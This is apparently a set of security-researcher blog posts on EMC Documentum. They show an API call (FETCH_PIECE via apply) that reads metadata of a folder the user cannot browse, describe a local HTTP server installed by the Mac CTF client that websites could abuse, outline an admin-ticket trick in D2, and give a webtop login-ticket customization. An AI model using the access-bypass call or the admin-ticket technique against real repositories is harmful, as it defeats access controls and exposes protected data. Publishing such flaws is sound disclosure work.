dm_world magic

Interesting observation: the more I learn Documentum the more I realize that it is a piece of dog crap. Recently I demonstrated possibility to create world-writable ACL by setting the value of owner_name to ‘dm_world’, this fact have given me idea that the same trick will work for sysobjects (i.e. create world-readable sysobject regardless assigned ACL), moreover SQLs generated by Content Server look very promising:

API> ?,c,select count(*) from dm_folder
count(*)              
----------------------
                 14865
(1 row affected)

API> ?,c,EXEC GET_LAST_SQL
result
--------------------------

select all count(*) ... ( dm_folder.owner_name in ('test','dm_world')) ...

but:

API> create,c,dm_document
...
09024be9800a912c
API> set,c,l,owner_name
SET> dm_world
...
OK
API> save,c,l
...
[DM_SYSOBJECT_E_CANT_FIND_USER]error:  "The user 'dm_world' specified does not exist."

Repository traversal

API> fetch,c,0b024be9800a8e60
...
[DM_API_E_EXIST]error:  "Document/object specified by 0b024be9800a8e60 does not exist."

[DM_SYSOBJECT_E_NO_BROWSE_ACCESS]error:  "No browse access for sysobject with ID '0b024be9800a8e60'."

but:

API> apply,c,0b024be9800a8e60,FETCH_PIECE,OBJECT_TYPE,S,dm_sysobject,VSTAMP,I,-1
...
q0
API> next,c,q0
...
OK
API> dump,c,q0
...
USER ATTRIBUTES

  object_name                     : Repository traversal
  title                           : 
  subject                         : 
  resolution_label                : 
  owner_name                      : dmadmin
  owner_permit                    : 7
  group_name                      : docu
  group_permit                    : 5
  world_permit                    : 1
  log_entry                       : 
  acl_domain                      : dmadmin
  acl_name                        : dm_45024be98000c501
  language_code                   : 

SYSTEM ATTRIBUTES

  r_object_type                   : dm_folder
  r_creation_date                 : 5/14/2018 07:43:07
  r_modify_date                   : 5/14/2018 07:43:07
  r_modifier                      : dmadmin
  r_access_date                   : nulldate
  r_link_cnt                      : 0
  r_link_high_cnt                 : 0
  r_assembled_from_id             : 0000000000000000
  r_frzn_assembly_cnt             : 0
  r_has_frzn_assembly             : F
  r_is_virtual_doc                : 0
  r_page_cnt                      : 0
  r_content_size                  : 0
  r_lock_owner                    : 
  r_lock_date                     : nulldate
  r_lock_machine                  : 
  r_immutable_flag                : F
  r_frozen_flag                   : F
  r_has_events                    : F
  r_creator_name                  : dmadmin
  r_is_public                     : F
  r_policy_id                     : 0000000000000000
  r_resume_state                  : 0
  r_current_state                 : 0
  r_alias_set_id                  : 0000000000000000
  r_full_content_size             : 0

APPLICATION ATTRIBUTES

  a_application_type              : 
  a_status                        : 
  a_is_hidden                     : F
  a_retention_date                : nulldate
  a_archive                       : F
  a_compound_architecture         : 
  a_link_resolved                 : F
  a_content_type                  : 
  a_full_text                     : T
  a_storage_type                  : 
  a_special_app                   : 
  a_category                      : 
  a_is_template                   : F
  a_controlling_app               : 
  a_is_signed                     : F
  a_last_review_date              : nulldate

INTERNAL ATTRIBUTES

  i_is_deleted                    : F
  i_reference_cnt                 : 1
  i_has_folder                    : T
  i_contents_id                   : 0000000000000000
  i_cabinet_id                    : 0c024be980000105
  i_antecedent_id                 : 0000000000000000
  i_chronicle_id                  : 0b024be9800a8e60
  i_latest_flag                   : T
  i_branch_cnt                    : 0
  i_direct_dsc                    : F
  i_is_reference                  : F
  i_retain_until                  : nulldate
  i_partition                     : 0
  i_is_replica                    : F
  i_vstamp                        : 0

CTF, you fucked

I’m not sure about CTF for Windows, but no doubts CTF for MacOS is a piece of dog crap. How CTF works on MacOS: it installs DCMApp.app, which is actually a HTTP-server which is listening on 13800/tcp:

Andreys-MacBook-Pro:~ apanfilov$ cat /Applications/DCMApp.app/Contents/Info.plist 
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>CFBundleDevelopmentRegion</key>
	<string>English</string>
	<key>CFBundleExecutable</key>
	<string>CTFHTTPServer</string>
	<key>CFBundleIconFile</key>
	<string>icon.icns</string>
	<key>LSUIElement</key>
	<true/>
</dict>
</plist>
Andreys-MacBook-Pro:~ apanfilov$ ps -ef | grep CTFHTTPServer
  501 67706     1   0  1:21am ??         0:06.77 /Applications/DCMApp.app/Contents/MacOS/CTFHTTPServer -psn_0_9234638
  501 67707 67706   0  1:21am ??         0:00.87 /Applications/DCMApp.app/Contents/MacOS/CTFHTTPServer -psn_0_9234638
  501 71255 69468   0  3:50am ttys007    0:00.00 grep CTFHTTPServer
Andreys-MacBook-Pro:~ apanfilov$ lsof -i -n -P | grep 13800
CTFHTTPSe 67706 apanfilov   10u  IPv4 0x4bfdf3517d667f4d      0t0    TCP 127.0.0.1:13800 (LISTEN)
Andreys-MacBook-Pro:~ apanfilov$ 

and as result we have:

Simple echo servlet:

/**
 * @author Andrey B. Panfilov <andrey@panfilov.tel>
 */
public class EchoServlet extends HttpServlet implements Servlet {

	@Override
	protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
		String name = req.getParameter("filename");
		byte[] content = req.getParameter("content").getBytes();
		resp.setHeader("Content-type", "application/octet-stream");
		resp.setContentLength(content.length);
		resp.setHeader("Content-Disposition", "attachment; filename*=UTF-8''" + Rfc5987Util.encode(name));
		resp.getOutputStream().write(content);
	}

}

That is to say if you have CTF installed any internet site may upload/download arbitrary information to/from your computer.

Why exposing administrative interfaces is a bad idea

After Alvaro’s blogpost I wanted to write something like: “Hey, you have missed something: you can create c6_method_return object, execute D2GetAdminTicketMethod, get encrypted admin’s ticket and use it as a password (fuck yeah, I have failed to solve this puzzle: what was the point to encrypt ticket in D2GetAdminTicketMethod if D2 servlets accept both encrypted and unencrypted passwords)”. Unfortunately, D2GetAdminTicketMethod is not a part of D2 installation anymore (it seems that talented team has at least one member who can read). Do you think it is an end of D2 disclosures? No, it is just a beginning.

A FATAL error has occurred. Part II

20 months ago I described a bizarre behaviour in webtop, now it is time to describe how to solve such problem (actually, customer have shared a simple testcase when user changes his password via Ctrl+Alt+Del on Windows computer and after that he need to clear cookies in order to force webtop to work). I do think the best option here is to replace actual user’s password by login ticket and the best candidate for that is com.documentum.web.formext.session.AuthenticationService:

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession;

import com.documentum.fc.client.IDfSession;
import com.documentum.fc.client.IDfSessionManager;
import com.documentum.fc.common.DfException;
import com.documentum.fc.common.DfLoginInfo;
import com.documentum.fc.common.IDfLoginInfo;

/**
 * @author Andrey B. Panfilov <andrey@panfilov.tel>
 */
public class AuthenticationServiceCustom extends AuthenticationService {

    public AuthenticationServiceCustom() {
        super();
    }

    @Override
    public void login(HttpSession httpSession, String principalName,
            String docbase, HttpServletRequest req)
        throws DfException {
        super.login(httpSession, principalName, docbase, req);
        replaceTicket(docbase);
    }

    @Override
    public void login(HttpSession httpSession, String principalName,
            String docbase)
        throws DfException {
        super.login(httpSession, principalName, docbase);
        replaceTicket(docbase);
    }

    @Override
    public void login(HttpSession httpSession, String docbase,
            String userLoginName, String userPassword, String domain)
        throws PasswordExpiredException, DfException {
        super.login(httpSession, docbase, userLoginName, userPassword, domain);
        replaceTicket(docbase);
    }

    @Override
    public void login(HttpSession httpSession, String docbase, String domain,
            Object binaryCredential)
        throws DfException {
        super.login(httpSession, docbase, domain, binaryCredential);
        replaceTicket(docbase);
    }

    @Override
    public void login(HttpSession httpSession, String docbase, String domain,
            Object binaryCredential, HttpServletRequest req)
        throws DfException {
        super.login(httpSession, docbase, domain, binaryCredential, req);
        replaceTicket(docbase);
    }

    @Override
    public void login(HttpSession httpSession, String docbase,
            String userLoginName, String password, String domain,
            HttpServletRequest req)
        throws DfException {
        super.login(httpSession, docbase, userLoginName, password, domain, req);
        replaceTicket(docbase);
    }

    private void replaceTicket(String docbase) throws DfException {
        IDfSessionManager sessionManager = SessionManagerHttpBinding
                .getSessionManager();
        IDfSession session = null;
        try {
            int dotIndex = docbase.indexOf('.');
            if (dotIndex != -1) {
                docbase = docbase.substring(0, dotIndex);
            }
            session = sessionManager.getSession(docbase);
            int timeout = session.getServerConfig()
                    .getInt("max_login_ticket_timeout");
            String ticket = session.getLoginTicketEx(null, "docbase", timeout,
                    false, docbase);
            String userName = session.getLoginUserName();
            if (sessionManager.hasIdentity(docbase)) {
                sessionManager.clearIdentity(docbase);
            }
            IDfLoginInfo loginInfo = new DfLoginInfo(userName, ticket);
            sessionManager.setIdentity(docbase, loginInfo);
        } finally {
            if (session != null) {
                sessionManager.release(session);
            }
        }
    }

}